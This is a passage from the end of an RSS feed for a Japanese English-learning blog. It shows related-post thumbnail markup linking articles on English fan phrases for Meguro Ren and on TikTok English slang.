<img width="120" height="120" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/meguror.png?resize=120%2C120&amp;ssl=1" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/meguror.png?resize=150%2C150&amp;ssl=1 150w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/meguror.png?resize=120%2C120&amp;ssl=1 120w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/meguror.png?resize=65%2C65&amp;ssl=1 65w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/meguror.png?zoom=2&amp;resize=120%2C120&amp;ssl=1 240w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/meguror.png?zoom=3&amp;resize=120%2C120&amp;ssl=1 360w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">【推し活英語講座】カナダで頑張ってる目黒蓮さんに英語で応援メッセージを送ろう！使えるフレーズ集</span></a>
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2024/09/01/ren_ganbatte/' title='【推し活英語講座】目黒蓮さんに頑張ってね！って英語でお見舞いやエールを送ろう。使えるフレーズ集'>
<img width="120" height="120" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/08/ren.png?resize=120%2C120&amp;ssl=1" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/08/ren.png?resize=150%2C150&amp;ssl=1 150w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/08/ren.png?resize=120%2C120&amp;ssl=1 120w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/08/ren.png?zoom=2&amp;resize=120%2C120&amp;ssl=1 240w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/08/ren.png?zoom=3&amp;resize=120%2C120&amp;ssl=1 360w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">【推し活英語講座】目黒蓮さんに頑張ってね！って英語でお見舞いやエールを送ろう。使えるフレーズ集</span></a>
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2025/12/08/tiktok-english-slang-2025/' title='【2025年度】TikTok英語スラング｜“今ほんとうに使われてる英語”50選｜Z世代×ネイティブのリアル表現大全'>
<img width="120" height="120" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/11/content.png?resize=120%2C120&amp;ssl=1" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/11/content.png?resize=150%2C150&amp;ssl=1 150w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/11/content.png?resize=120%2C120&amp;ssl=1 120w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/11/content.png?resize=65%2C65&amp;ssl=1 65w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/11/content.png?zoom=2&amp;resize=120%2C120&amp;ssl=1 240w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/11/content.png?zoom=3&amp;resize=120%2C120&amp;ssl=1 360w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">【2025年度】TikTok英語スラング｜“今ほんとうに使われてる英語”50選｜Z世代×ネイティブのリアル表現大全</span></a>
</div>
</div>
]]></content:encoded>
					
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">2730</post-id>	</item>
	</channel>
</rss>
